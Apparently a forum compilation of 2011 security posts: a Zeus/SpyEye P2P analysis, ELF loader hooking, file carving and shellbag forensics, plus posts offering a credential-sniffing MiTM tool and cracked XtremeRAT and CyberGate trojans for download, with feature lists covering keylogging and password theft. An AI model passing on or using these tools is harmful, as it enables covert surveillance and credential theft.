Nytro

Intercepter-NG New Sniffing Tool [intercepter-NG] offers the following features: + Sniffing passwords\hashes of the types: ICQ\IRC\AIM\FTP\IMAP\POP3\SMTP\LDAP\BNC\SOCKS\HTTP \WWW\NNTP\CVS\TELNET\MRA\DC++\VNC\MYSQL\ORACLE + Sniffing chat messages of ICQ\AIM\JABBER\YAHOO\MSN\IRC\MRA + Promiscuous-mode\ARP\DHCP\Gateway\Smart Scanning + Raw mode (with pcap filter) + eXtreme mode + Capturing packets and post-capture (offline) analyzing + Remote traffic capturing via RPCAP daemon + NAT + ARP MiTM + DNS over ICMP MiTM + DHCP MiTM + SSL MiTM + SSL Strip Works on Windows NT(2K\XP\2k3\Vista\7). Download: http://intercepter.nerf.ru/Intercepter-NG.v09.zip Sursa: http://thehackernews.com/2011/11/intercepter-ng-new-sniffing-tool.html

Attacking NFC Mobile Phones Collin Mulliner Fraunhofer SIT EUSecWest May 2008 London, UK A first look at NFC Phone Security Some Tools, PoCs, and a Small Survey Agenda ? Introduction to NFC ? NFC phones and data formats ? An NFC Security Toolkit ? Analyzing an NFC Mobile Phone ? Attacking NFC services in the field - a survey ? Notes from the lab ? Conclusions Download: http://mulliner.org/nfc/feed/collin_mulliner_eusecwest08_attacking_nfc_phones.pdf

[h=1]Cracking into the New P2P Variant of Zeusbot/Spyeye[/h] Created: 28 Nov 2011 Andrea Lelli Recently, Symantec observed a modified variant of Zeusbot/Spyeye which uses peer-to-peer (P2P) architecture to communicate. The original Zeusbot communicated directly with its C&C server to download configuration data and upload stolen information. This was a major point of failure for the bot because the C&C server could be blocked or taken down, and the attacker would lose control of the botnet. The bot did have a fallback strategy: if the C&C server was down it generated pseudo-random domain names to contact. The attacker could of course predict those domain names and register one in order to gain back control of the bot, but the solution was not very efficient. (Terminology note: although we use the term “C&C” for the main server controlled by the attackers, this server is not a typical C&C in its functionalities, but is mainly a collector of information from the drones.) To overcome these limitations the attackers have now decided to use P2P. This modified variant of Zeusbot/Spyeye contains a list of IP addresses to contact. These IPs are not servers; they are other infected clients (peers). These clients provide configuration data, which in turn contains the URL of the main C&C server. In this modified way, even if the C&C server is taken down, the P2P network remains alive and can be fuelled with a new configuration file pointing to a new URL for a new C&C server. Can the P2P network be shut down? No (at least, not easily). The IP addresses in the P2P network cannot be blocked because, in most cases, they would be normal broadband IPs (home users and work computers, for instance) and blocking them would disrupt legitimate network traffic. Also, the list of peers can update so frequently that tracking them proves difficult. Using a P2P network this way is more resistant than just a single C&C URL, and can considerably prolong a botnet’s lifetime. Here's how it works: When run, the bot injects itself into the “explorer.exe” process, and tries to contact all the IP addresses one-by-one using UDP. This communication protocol is not complex. It can exchange several data packets with specific codes and meanings and, to identify the communications, have the peers use SHA-1 codes to keep track of the data. To initiate a communication the bot sends out a “portknocking” data packet that contains a header with the SHA-1 of the infected machine and the SHA-1 of the contacted machine. Every infected machine (peer) has its own unique identifier SHA-1 and every bot contains a list of SHA-1 : IP couples which represent unique hosts on the P2P network. After the portknocking packet is accepted by a peer, the reply to the portknocking includes a new list of peers (SHA-1 : IP couples again). This keeps the P2P network updated with a list of new machines. More UDP packets may follow the portknocking, exchanging different data (the purpose of which is still under investigation). Figure 1: Communication When the UDP communication is complete, the bot will then proceed to contact the peer through TCP. At this stage the bot can receive both a configuration file or an update of the bot itself. The decrypted configuration data contains the address of the C&C server which the bot contacts through a simple HTTP POST request. The bot then sends data about the infected machine (name of the machine and other information) to the C&C server. Interestingly, the SHA-1 of the infected machine is not communicated at this stage (in our tests it was not sent to the C&C at any time). This may mean the C&C server is not involved in controlling the peers (e.g. collecting of all SHA-1 and updating the list of available peers) and therefore the P2P network would be completely autonomous. We have found several samples in the wild which all seem to originate from a single source. These samples are all packed with the same techniques, and the binary code of the unpacked virus is almost identical (differing in only the smallest of details). This leads us to believe these samples are coming from the same source code, but are recompiled with small changes. We suspect those responsible for spreading this new variant may have access to the source code and upgraded the bot with all the new features. Our samples also all shared the same RC4 substitution box used to decrypt configuration data and we also ran some different random samples and the configuration data they downloaded is similar in all cases. All these details indicate this Trojan seems to be a private build from those who had access to source code and want to target specific websites (lots of Italian ones). We first observed this threat on September 13, 2011. This date also matches the time-date stamp of the first samples found, when we believe the variant started spreading. At the time of writing this blog, the threat does not seem prevalent with only a limited number of samples in the wild (this may change in time, of course). This does not mean the botnet is dead: the P2P network is alive and we have decoded the latest data from the configuration files which contains the frequently updated C&C server address (the C&C server is currently active using a November-registered domain name). In total we observed 327 unique peers, so an estimation of the number of infected machines could be anywhere from 500 to 1000. Figure 2: Infection geographical distribution The modified variant of Zeusbot/Spyeye which uses a P2P network is indeed an improvement, but comes with drawbacks as well. The communication protocol lacks proper authentication so a rogue client may connect to the network and communicate with peers. The configuration file is not authenticated, since it is encrypted with a symmetric algorithm, meaning a rogue configuration file would be easy to forge. Any infected client can become part of the list of peers actively exchanged by the drones. A rogue client may infiltrate the P2P network, forge a rogue certificate, and distribute it to other bots—which means the rogue would be able to specify a new C&C server and hijack the entire network. At this stage we cannot tell if this variant will become a mainstream implementation of the bot or simply die off. We will keep an eye on it in order to detect all new variants. It has been reported that this threat has been spreading through spam emails and drive-by download exploits, so, in order to mitigate the risk of infection, we recommend users keep their computers updated and beware of email from unknown or unverified sources. Additional details from the analysis are available to our DeepSight subscribers. Sursa: http://www.symantec.com/connect/blogs/cracking-new-p2p-variant-zeusbotspyeye

ld-linux.so ELF hooker Stéphane and myself are releasing a new tool injecting code at runtime, just between the ELF loader and target binary. It is an alternative to LD_PRELOAD, just a little bit more intrusive but 100% reliable Sources were released on Github When a binary is execve(), the kernel extracts from the ELF headers the interpreter to be launched, usually /lib/ld-linux.so.2. The kernel creates a new process and prepares the environment (arguments and auxiliary data). The target ELF entry point is set in auxiliary vector of type "ENTRY". Then the kernel opens the requested interpreter, maps the memory regions and start its execution at ld's ELF entry point. Then the loader analyzes the target ELF file, performs its loader work and sets EIP to target ELF entry point (extracted from auxv). At this point, main()'s program is eventually executed. Our goal was to permit the execution of code for abitrary dynamically linked binary without patching each of them. So our interest moved on the loader, the common point between most executables. Thus, we decided to patch a normal ld in order to inject code. My awesome colleague, Stéphane Duverger (the ramooflax author!) and myself wrote ld-shatner. Its task is to patch ld-linux.so file accordingly: After ELF header, we shift "ELF program header" a few pages away In this new section, we inject a "loader routine" (hooked.s) and embedded code to be executed at runtime After having been saved in our section, ld's ELF entry point is overwritten to jump directly on our routine. This routine extracts from auxiliary vectors the target ELF entry point and overwrites it with a pointer to our embedded code (func() in the payload). Original ld's entry point is called and ld works as usual Eventually, it calls entry point set in auxiliary vector (which was replaced by a pointer to our payload) Embdded code runs It returns to our routine which finally jumps on original target entry point Some pictures before/after ld-shatner voodoo: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]ld-shatner voodo[/TD] [/TR] [/TABLE] Screenshot $ make clean all $ cp /lib/ld-linux.so.2 /bin/ls . $ ./ld-shatner ld-linux.so.2 obj.elf $ sudo cp ld-hook.so /lib/ $ ./interpatch ls $ ./ls ld-hook <---------------------- output of obj.elf [...] (Ok, we cheat for the moment because we have to patch ls binary but we will not have to do that eventually) So what? My ultimate goal for ld-shatner is to use this method for starting applications in my sandbox project, seccomp-nurse. For the moment, I rely on LD_PRELOAD feature but this approach is... hackish and I have to work around some bugs because of this special context... Sursa: http://justanothergeek.chdir.org/2011/11/ld-linuxso-elf-hooker.html

[h=5]XtremeRATv3.2 Cracked Version[/h]Noviembre 27, 2011, 06:28:40 pm Nu l-am incercat, nu stiu daca e infectat, nu sunt raspunzator de nimic. Version 3.2 Changes: - Corrected webcam problems. - Corrected error when close the control center window and the webcam, desktop capture or audio are opened. - Added option to resize the desktop preview image. - Copy and Paste functions was added in filemanager. - Options to get a preview image of an selected window was added. - Added password protection to your settings. - Added new skins. - Added a possibility to rename files when download files with same name. - Added a CheckBox to update desktop preview images only of the selected servers. This will reduce network traffic. - Corrected an error in mouselogger that don't save all clicks. - Mouselogger corrected on client side. - Added option to select windows always on top. - Added notification when server disconnect. - Was corrected the function that show all flags from servers. - Connectir public von limit foersions (only 100000000000000000000000000000000 servers) DOWNLOAD : http://www.multiupload.com/3EDV3BCDQ0 Fuente: udtools.net Sursa: http://www.underc0de.org/foro/index.php?topic=8249.msg29369

[h=5]CyberGate 1.18 Cracket Version [/h]Noviembre 27, 2011, 06:30:13 pm Nu l-am testat, nu stiu daca e infectat, nu sunt raspunzator de nimic. - Reverse connection Remote Administration Tool. - BaseCode64, Xor, RC4 and AES traffic encryption (depends on features, etc ... Obviously they do not use same encryption ciphers due to application stability and performance. Some ciphers would make this software a lot slower and unstable if used for certain features) - Language support - View options - Multi port support - Remote connection search option - Injection option to create new servers - Anti debugging options to create new server - Startup methods option to create new server - Password protection method to create new server - Optional binder option to create new server - Icon changer option to create new server - Delayed execution option to create new server - Customizable installation folder and file name to create new server - Ftp logs support - Automatic DNS updater - Multi profiles builder - UAC (Vista and Seven protection) bypass on server - Keylogger option - Password recovery tool (browser, msn, windows ...) - Very light stub (~265kb) - Chat feature - File manager - Registry editor - Services manager - Windows manager - Processes manager - Clipboard manager - Socks 4/5 Proxy - Http Proxy - Mass features - Installed programs manager - Remote desktop (with capture) - Remote webcam view (with capture) - Capture audio - Remote download and execute - DOS prompt - Send message boxes - Control desktop items (taskbar, icon, start menu) - Active ports list - Server control (update, disconnect, restart) - Remote open HTTP URL - Send file and execute - CD Open and Close - Reverse Mouse Option - Remote Power Options (Shutdown, Restart, etc ...) - Remote Mouse Lock - Remote Keyboard Lock - Remote Icons Hide/show - Remote Start Hide/show - Group support (connections can be organized in groups) - Several function that can be performed from group panel - URL visiter (with hidden feature) - VBscript console - Multi-user keylogger/file search - Local file erases tool (erase files beyond recovery) - Local startup manager tool - Startup manager - Programs assist - Connection log incorporated in the client GUI - CyberGate has task managers for client and server on connecting - Task logs - Add Notes for your connections if you want - Multiple tabs in the client making your life easier (connections tab, group panel tab, client tasks tab, etc ...) - Automatically map ports if your router supports uPnP - GeoIP server tracking for accurate remote computer localization tracking - Easy search function on password recovery tool - Thumbnails view on file manager allowing display all images of a remote folder - Lock station (ability to lock CyberGate after a certain time of idling or by button press to avoid outsiders from accessing your CyberGate client - Webloader (a webdownloader with 3.5 Kb) - Windows OS bit system (x32/x64) - Recoded webcam capture - Recoded password recovery - Run remote files as admin - More then 70 skins to choose from DOWNLOAD: http://www.multiupload.com/GEMQNJOKD0 Original forum post : http://www.hackforums.net/showthread.php?tid=1906067 Sursa: CyberGate 1.18 Cracket Version

File Carving! By Christiaan Beek. File Carving’ or sometimes simply "carving", is the process of extracting a collection of data from a larger data set. Data carving techniques frequently occur during a digital investigation when the unallocated file system space is analyzed to extract files. There are many carving techniques and tools available that can be used to investigate disk/removable-media images. For example after many years, an update of the famous carving tool 'Scalpel' was just released. However these tools are not by default useful when investigating a dump from a cell-phone because every mobile-phone vendor has its own way for storing data into the phone memory. There's even a difference between the phone models. A different approach and development of tools is necessary. For reading more about file carving basics,techniques and challenges, read my new whitepaper: Download: http://www.mcafee.com/us/resources/white-papers/foundstone/wp-intro-to-file-carving.pdf Sursa: Introduction to File Carving! via reddit.com

[h=1]Windows shellbag forensics[/h] Microsoft Windows uses a set of Registry keys known as "shellbags" to maintain the size, view, icon, and position of a folder when using Explorer. These keys are useful to a forensic investigator. Shellbags persist information for directories even after the directory is removed, which means that they can be used to enumerate past mounted volumes, deleted files, and user actions. Yuandong Zhu, Pavel Gladyshev, and Joshua James provided a nice overview of the investigative value of shellbags in "Using shellbag information to reconstruct user activities" [pdf]; however, they do not describe how to programmatically access the data. Allan S Hay went into greater detail in his December, 2004 document "MiTeC Registry Analyser" [pdf], although he also leaves out a thorough analysis of the format. TZWorks provides an effective closed-source shellbag parser sbag, but does not explain its algorithm. Yogesh Khatri first described the basic structure of Windows Shell Items in his blog post for 42 LLC entitled Shell BAG Format Analysis. Joachim Metz went on to described the binary format of the Windows Shell Item structures with great detail in Windows Shell Item format specification [pdf]. This page documents an approach to parsing shellbags in detail, as well as introduces an open-source, cross-platform shellbag parser. [h=2]Shellbag locations[/h] Shellbags may be found in a few locations, depending on operating system version and user profile. On a Windows XP system, shellbags may be found under: HKEY_USERS\{USERID}\Software\Microsoft\Windows\Shell\ HKEY_USERS\{USERID}\Software\Microsoft\Windows\ShellNoRoam\ The NTUser.dat hive file persists the Registry key HKEY_USERS\{USERID}\. On a Windows 7 system, shellbags may be found under: HEKY_USERS\{USERID}\Local Settings\Software\Microsoft\Windows\Shell\ The UsrClass.dat hive file persists the registry key HKEY_USERS\{USERID}\. [h=2]Shellbag Parsing[/h] Let us begin with the Shell\ key. The Shell\ key does not have any values. Under the Shell\ key are two keys: Shell\Bags\ and Shell\BagMRU\. [h=3]FolderData[/h] Each subkey under Shell\Bags\ is named as increasing integers from one, such as Shell\Bags\1\ or Shell\Bags\2\. Let us call these subkeys FolderData, since they each represent one item viewed in Explorer, and this is usually a folder. FolderData subkeys do not have any values, but often have subkeys. The most common subkey is Shell\Bags\{Int}\Shell\, but there are a few other possibilities (ComDlg, Desktop, etc.). The subkeys under a FolderData describe the settings, position, and icon when viewing the folder in Explorer. In particular, a Registry value whose name begins with ItemPos specifies the location of the icons for a given desktop resolution. For example, on my Windows 7 system, the Registry key HKEY_USERS\{USERID}\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} has 12 values that record various configurations. This set includes the value ItemPos1427x820(1) that has type REG_BIN with length 0x120: 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010 15 00 00 00 51 00 00 00 14 00 1F 60 40 F0 5F 64 ....Q......`@._d 0020 81 50 1B 10 9F 08 00 AA 00 2F 95 4E 15 00 00 00 .P......./.N.... 0030 A0 00 00 00 46 00 3A 00 02 02 00 00 10 3D 0C 8E ....F.:......=.. 0040 20 00 43 79 67 77 69 6E 2E 6C 6E 6B 00 00 2C 00 .Cygwin.lnk..,. 0050 03 00 04 00 EF BE 10 3D 0C 8E 10 3D 0C 8E 14 00 .......=...=.... 0060 00 00 43 00 79 00 67 00 77 00 69 00 6E 00 2E 00 ..C.y.g.w.i.n... 0070 6C 00 6E 00 6B 00 00 00 1A 00 15 00 00 00 02 00 l.n.k........... 0080 00 00 5A 00 3A 00 42 06 00 00 10 3D 91 7C 20 00 ..Z.:.B....=.| . 0090 4D 4F 5A 49 4C 4C 7E 31 2E 4C 4E 4B 00 00 3E 00 MOZILL~1.LNK..>. 00A0 03 00 04 00 EF BE 10 3D 91 7C 10 3D 61 85 14 00 .......=.|.=a... 00B0 00 00 4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 ..M.o.z.i.l.l.a. 00C0 20 00 46 00 69 00 72 00 65 00 66 00 6F 00 78 00 .F.i.r.e.f.o.x. 00D0 2E 00 6C 00 6E 00 6B 00 00 00 1C 00 41 01 00 00 ..l.n.k.....A... 00E0 51 00 00 00 30 00 31 00 00 00 00 00 10 3D 2C 81 Q...0.1......=,. 00F0 10 00 4D 49 52 00 1E 00 03 00 04 00 EF BE 10 3D ..MIR..........= 0100 B0 80 10 3D A7 8C 14 00 00 00 4D 00 49 00 52 00 ...=......M.I.R. 0110 00 00 12 00 41 01 00 00 51 00 00 00 00 00 00 00 ....A...Q....... With no tools beyond Regedit (or Regview.py), Windows 8.3 filenames (eg. MOZILL~1.LNK) and Unicode filenames (eg. Mozilla Firefox.lnk) stand out. Fortunately, by applying the formats found in Joachim's paper, more details can be extracted. Throughout this document, I refer to this Registry value type as an ITEMPOS value. [h=3]ITEMPOS values[/h] The ITEMPOS value's structure is a list of Windows File Entry Shell Items (SHITEM_FILEENTRY) terminated by an entry whose size field is zero. The list begins at offset 0x10. Items are preceeded by 0x8 bytes whose meaning is unknown. The minimum size of a SHITEM_FILEENTRY structure is 0x15 bytes, so entries whose size field is less than 0x15 should be skipped. The valid SHITEM_FILEENTRY items have the following structure (in pseudo-C / 010 Editor template format): typedef struct SHITEM_FILEENTRY { UINT16 size; UINT16 flags; UINT32 filesize; DOSDATE date; DOSTIME time; FILEATTR16 fileattrs; string short_name; if (offset() % 2 != 0) { UINT8 alignment; } UINT16 ext_size; UINT16 ext_version; if (ext_version >= 0x0003) { UINT16 unknown0; // == 0x0004 UINT16 unknown1; // == 0xBEEF DOSDATE creation_date; DOSTIME creation_time; DOSDATE access_date; DOSTIME access_time; UINT32 unknown2; } if (ext_version >= 0x0007) { FILEREFERENCE file_ref; UINT64 unknown3; UINT16 long_name_size; if (ext_version >= 0x0008) { UINT32 unknown4; } wstring long_name; if (long_name_size > 0) { wstring long_name_addl; } } else if (ext_version >= 0x0003) { wstring long_name; } if (ext_version >= 0x0003) { UINT16 unknown5; } UINT8 padding[size - (offset() - offset(size)]; } } SHITEM_FILEENTRY; FILEREFERENCE is a 64bit MFT file reference structure (48 bits file MFT record number, 16 bits MFT sequence number). FILEATTRS is a 16 bit set of flags that specifies attributes such as if the item is read-only or a system file. Applying this template to the ITEMPOS Registry value, we see there are four list items: one invalid entry, and three SHITEM_FILEENTRY items. [COLOR=red]00 00 00 00 [/COLOR] --> header/footer [COLOR=blue]00 00 00 00 [/COLOR] --> unknown padding (item position?) [COLOR=green]00 00 00 00 [/COLOR] --> invalid SHITEM_FILEENTRY [COLOR=yellow]00 00 00 00 [/COLOR] --> SHITEM_FILEENTRY 0000 [COLOR=red]00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[/COLOR] ................ 0010 [COLOR=blue]15 00 00 00 51 00 00 00[/COLOR] [COLOR=green]14 00 1F 60 40 F0 5F 64[/COLOR] ....Q......`@._d 0020 [COLOR=green]81 50 1B 10 9F 08 00 AA 00 2F 95 4E 15[/COLOR] [COLOR=blue]00 00 00[/COLOR] .P......./.N.... 0030 [COLOR=blue]A0 00 00 00[/COLOR][COLOR=yellow] 46 00 3A 00 02 02 00 00 10 3D 0C 8E[/COLOR] ....F.:......=.. 0040 [COLOR=yellow]20 00 43 79 67 77 69 6E 2E 6C 6E 6B 00 00 2C 00[/COLOR] .Cygwin.lnk..,. 0050 [COLOR=yellow]03 00 04 00 EF BE 10 3D 0C 8E 10 3D 0C 8E 14 00[/COLOR] .......=...=.... 0060 [COLOR=yellow]00 00 43 00 79 00 67 00 77 00 69 00 6E 00 2E 00[/COLOR] ..C.y.g.w.i.n... 0070 [COLOR=yellow]6C 00 6E 00 6B 00 00 00 1A 00[/COLOR] [COLOR=blue]15 00 00 00 02 00[/COLOR] l.n.k........... 0080 [COLOR=blue]00 00 [/COLOR][COLOR=yellow]5A 00 3A 00 42 06 00 00 10 3D 91 7C 20 00[/COLOR] ..Z.:.B....=.| . 0090 [COLOR=yellow]4D 4F 5A 49 4C 4C 7E 31 2E 4C 4E 4B 00 00 3E 00[/COLOR] MOZILL~1.LNK..>. 00A0 [COLOR=yellow]03 00 04 00 EF BE 10 3D 91 7C 10 3D 61 85 14 00[/COLOR] .......=.|.=a... 00B0 [COLOR=yellow]00 00 4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00[/COLOR] ..M.o.z.i.l.l.a. 00C0 [COLOR=yellow]20 00 46 00 69 00 72 00 65 00 66 00 6F 00 78 00[/COLOR] .F.i.r.e.f.o.x. 00D0 [COLOR=yellow]2E 00 6C 00 6E 00 6B 00 00 00 1C 00[/COLOR][COLOR=blue] 41 01 00 00[/COLOR] ..l.n.k.....A... 00E0 [COLOR=blue]51 00 00 00[/COLOR][COLOR=yellow] 30 00 31 00 00 00 00 00 10 3D 2C 81[/COLOR] Q...0.1......=,. 00F0 [COLOR=yellow]10 00 4D 49 52 00 1E 00 03 00 04 00 EF BE 10 3D[/COLOR] ..MIR..........= 0100 [COLOR=yellow]B0 80 10 3D A7 8C 14 00 00 00 4D 00 49 00 52 00[/COLOR] ...=......M.I.R. 0110 [COLOR=yellow]00 00 12 00 [/COLOR][COLOR=blue]41 01 00 00 51 00 00 00 [/COLOR][COLOR=red]00 00 00 00[/COLOR] ....A...Q....... Taking the first valid entry from offset 0x34, let's parse out the fields from the binary. The following block visually maps out the relevant bytes, while the table translates each field into a human readable value. [COLOR=yellow]00 00 00 00[/COLOR] --> SHITEM_FILEENTRY size [COLOR=green]00 00 00 00[/COLOR] --> filesize [COLOR=blue]00 00 00 00[/COLOR] --> timestamp [COLOR=red]00 00 00 00[/COLOR] --> filename 0000 [COLOR=yellow]46 00[/COLOR] 3A 00 [COLOR=green]02 02 00 00[/COLOR] [COLOR=blue]10 3D 0C 8E[/COLOR] 20 00 [COLOR=red]43 79[/COLOR] [COLOR=yellow]F.[/COLOR]:.[COLOR=green]....[/COLOR][COLOR=blue]w.=.[/COLOR]Ž [COLOR=red]Cy[/COLOR] 0010 [COLOR=red]67 77 69 6E 2E 6C 6E 6B 00[/COLOR] 00 2C 00 03 00 04 00 [COLOR=red]gwin.lnk.[/COLOR].,..... 0020 EF BE [COLOR=blue]10 3D 0C 8E 10 3D 0C 8E [/COLOR]14 00 00 00 [COLOR=red]43 00[/COLOR] ï¾[COLOR=blue].=.Ž.=.Ž[/COLOR]....[COLOR=red]C.[/COLOR] 0030 [COLOR=red]79 00 67 00 77 00 69 00 6E 00 2E 00 6C 00 6E 00[/COLOR] [COLOR=red]y.g.w.i.n...l.n. [/COLOR] 0040 [COLOR=red]6B 00 00 00[/COLOR] 1A 00 [COLOR=red]k...[/COLOR].. [TABLE] [TR] [TH]Offset[/TH] [TH]Field[/TH] [TH]Value[/TH] [/TR] [TR] [TD]0x00[/TD] [TD]ITEMPOS size[/TD] [TD]0x46[/TD] [/TR] [TR] [TD]0x04[/TD] [TD]Filesize[/TD] [TD]0x202[/TD] [/TR] [TR] [TD]0x08[/TD] [TD]Modified Date[/TD] [TD]August 16, 2010 at 17:48:24[/TD] [/TR] [TR] [TD]0x0E[/TD] [TD]8.3 Filename[/TD] [TD]Cygwin.lnk[/TD] [/TR] [TR] [TD]0x22[/TD] [TD]Created Date[/TD] [TD]August 16, 2010 at 17:48:24[/TD] [/TR] [TR] [TD]0x26[/TD] [TD]Modified Date[/TD] [TD]August 16, 2010 at 17:48:24[/TD] [/TR] [TR] [TD]0x2E[/TD] [TD]Unicode Filename[/TD] [TD]Cywgin.lnk[/TD] [/TR] [/TABLE] At this point, it is easy to write parser that explores the FolderData keys under the Shell registry key. For each FolderData, the parser might enumerate each ITEMPOS value and consider the binary blob. By applying the binary template above, the tool could identify filenames, MAC timestamps, and other metadata independent of the filesystem MFT. Unfortunately, we're still missing a key piece of information: the full file path. [h=3]BagMRU tree[/h] To recover file paths from Shellbags, we'll need to consider the Registry keys under BagMRU. The subkeys under Shell\BagMRU form a recursive, tree-like structure that mirrors the file system on disk. Shell\BagMRU is the root of the tree. Each subkey is a node representing a folder, and like a folder, may contain children nodes. Yet, unlike (most) folders, the nodes are named as increasing integers from zero. For example, the branch Shell\BagMRU\0 might have the children 0, 1, and 2. All nodes in this tree have a value named MRUListEx, and many have a value named NodeSlot. NodeSlot is what interests us, as it forms the link between the filesystem tree structure and the FolderData keys. A NodeSlot value has type REG_DWORD and should be interpreted as a pointer to the FolderData key with the same name. For example, on my workstation, the key Shell\BagMRU\1\1\3\0 has a NodeSlot value of 144. This means that the FolderData Shell\Bags\144\ corresponds to a folder with a path of four components. What are they? The components are described by the values at Shell\BagMRU\1, Shell\BagMRU\1\1, Shell\BagMRU\1\1\3, and Shell\BagMRU\1\1\3\0. [h=3]SHITEMLIST[/h] In addition to the values MRUListEx and NodeSlot, nodes of the Shell\BagMRU tree have one value for each subkey. The values have the same name as the subkey; since the subkeys are named as increasing integers, so are the values. Each value records metadata about the filesystem path component associated with the subkey. The values have type REG_BIN, and have an internal binary structure known as an SHITEMLIST. An SHITEMLIST is formed by contiguous items terminated by an empty item. Practically, though, the SHITEMLIST of a BagMRU node will have two entries: a relevant entry, and the empty terminator item. The first two bytes of each SHITEM gives the item's size. Joachim's paper on Window's shell items is the best resource for understanding the variations among SHITEM entries. From a high level, there are at least ten types of items that range from SHITEM_FILEENTRY and SHITEM_FOLDERENTRY to SHITEM_CONTTROLPANELENTRY. For each of these types, we can extract at least a path component such as "My Documents" or "\\myserver". Fortunately, most items have type SHITEM_FOLDERENTRY, which provides additional metadata including MAC timestamps. A small number of items do not conform to the known structure, although these do not usually contain any human readable strings or hints. [h=3]Putting it all together[/h] With the SHITEMLIST structure in hand, we now have enough information to comprehensively parse Windows shellbags. To do this, first recurse down the Shell\BagMRU keys while computing directory paths. At each node, record any available metadata and lookup the associated FolderData. Recall that the FolderData may indicate some of the items contained by the directory, so record this metadata, too. Finally, format and enjoy! The following code block lists the algorithm in a Pythonish language for the programmers in the room. def get_shellbags(): shellbags = [] bagmru_key = shell_key.subkey("BagMRU") bags_key = shell_key.subkey("Bags") def shellbag_rec(key, bag_prefix, path_prefix): """ Function to recursively parse the BagMRU Registry key structure. Arguments: `key`: The current 'BagsMRU' key to recurse into. `bag_prefix`: A string containing the current subkey path of the relevant 'Bags' key. It will look something like '1\\2\\3\\4'. `path_prefix` A string containing the current human-readable, file system path so far constructed. Returns: A list of paths to filesystem artifacts """ # First, consider the current key, and extract shellbag items slot = key.value("NodeSlot").value() # Look at ..\Shell, and ..\Desktop, etc. for bag in bags_key.subkey( slot ).subkeys(): # Only consider ITEMPOS keys for value in [value for value in bag.values() if \ "ItemPos" in value.name()]: # Call our binary processing code to extract items new_items = process_itempos(value) for item in new_items: shellbags.append(path_prefix + item.path) # Next, recurse into each subkey of this BagMRU node (1, 2, 3, ...) for value in value for value in key.values(): # Call our binary processing code to extract item new_item = process_bag(value) shellbags.append(path_prefix + new_item.path) shellbag_rec(key.subkey( value.name() ), bag_prefix + "\\" + value.name(), new_item.path ) shellbag_rec("HKEY_USERS\{USERID}\Software\Microsoft\Windows\ShellNoRoam", "", "") return shellbags [h=2]Shellbags.py[/h] Using these concepts, I've implemented a cross-platform shellbag parser for Windows XP and greater in the Python programming language. The code is freely available here, so all algorithms and structures are accessible to interested parties. I've licensed the code under the Apache 2.0 license, so please feel encouraged to take and improve the routines as you feel fit. As a benchmark, shellbags.py tends to identify at least the items returned by the sbag utility, and in some cases returns more. Shellbags.py accepts the path to a raw Registry hive acquired forensically as a command line argument. To ensure interoperability, output is formatted according to the Bodyfile specification by default. The following block lists a demonstration of me running shellbags.py against a Windows XP NTUSER.dat Registry hive. $ python shellbags.py ~/projects/registry-files/willi/xp/NTUSER.DAT.copy0 ... 0|\My Documents (Shellbag)|0|0|0|0|0|978325200|978325200|18000|978325200 0|\My Documents\Downloads (Shellbag)|0|0|0|0|0|1282762334|1282762334|18000|1281987456 0|\My Documents\My Dropbox (Shellbag)|0|0|0|0|0|1281989096|1282762296|18000|1281989050 0|\My Documents\My Music (Shellbag)|0|0|0|0|0|1281995426|1282239780|18000|1281987154 0|\My Documents\My Pictures (Shellbag)|0|0|0|0|0|1281995426|1282239780|18000|1281987152 0|\My Documents\My Dropbox (Shellbag)|0|0|0|0|0|978325200|978325200|18000|978325200 0|\My Documents\My Dropbox\Tools (Shellbag)|0|0|0|0|0|1281989092|1281989092|18000|1281989088 0|\My Documents\My Dropbox\Tools\Windows (Shellbag)|0|0|0|0|0|1281989140|1281989140|18000|1281989092 0|\My Documents\My Dropbox\Tools\Windows\7zip (Shellbag)|0|0|0|0|0|1281993604|1284668784|18000|1281989140 0|\My Documents\My Dropbox\Tools\Windows\Adobe (Shellbag)|0|0|0|0|0|1281994956|1284668784|18000|1281989140 0|\My Documents\My Dropbox\Tools\Windows\Bitpim (Shellbag)|0|0|0|0|0|1281994656|1284668784|18000|1281989140 ... To improve readability, I ran the output through the mactime utility to generate a timeline of activity. The following block lists a portion of this sample. ... Fri Jun 10 2011 14:09:02 0 m... 0 0 0 0 \My Documents\My Dropbox\Tools\Windows\Mandiant Highlighter (Shellbag) Fri Jun 10 2011 16:09:56 0 m... 0 0 0 0 \My Documents\My Dropbox\Tools\Windows\Mandiant Highlighter\MandiantHighlighter1.0.1.msi (Shellbag) Fri Jun 10 2011 16:10:18 0 ...b 0 0 0 0 \My Documents\My Dropbox\Tools\Windows\Mandiant Highlighter\MandiantHighlighter1.1.2.msi (Shellbag) Fri Jun 10 2011 16:10:36 0 ma.. 0 0 0 0 \My Documents\My Dropbox\Tools\Windows\Mandiant Highlighter\MandiantHighlighter1.1.2.msi (Shellbag) Fri Jun 10 2011 18:20:48 0 m... 0 0 0 0 \My Computer\{00020028-0000-0041-6400-6d0069006e00}\My Dropbox\Tools\Windows\Mandiant Malware INfo (Shellbag) Fri Jun 10 2011 18:20:50 0 m... 0 0 0 0 \My Documents\My Dropbox\Tools\Windows\FTK\Imager_Lite_ 2.9.0 (Shellbag) Fri Jun 10 2011 21:06:44 0 ...b 0 0 0 0 \My Computer\C:\\Documents and Settings\Administrator\Desktop\IOCs\custom (Shellbag) Fri Jun 10 2011 22:43:14 0 m... 0 0 0 0 \My Computer\C:\\Documents and Settings\Administrator\Desktop\IOCs\new (Shellbag) Fri Jun 10 2011 22:52:02 0 m... 0 0 0 0 \My Documents\My Dropbox\Tools\Windows\FTK (Shellbag) ... [h=3]Help[/h] For reference, the following code block lists the command line parameters accepted by shellbags.py. Now get going and try it out! usage: shellbags.py [-h] [-v] [-p] file [file ...] Parse Shellbag entries from a Windows Registry. positional arguments: file Windows Registry hive file(s) optional arguments: -h, --help show this help message and exit -v Print debugging information while parsing -p If debugging messages are enabled, augment the formatting with ANSI color codes Sursa: http://www.williballenthin.com/forensics/shellbags/index.html

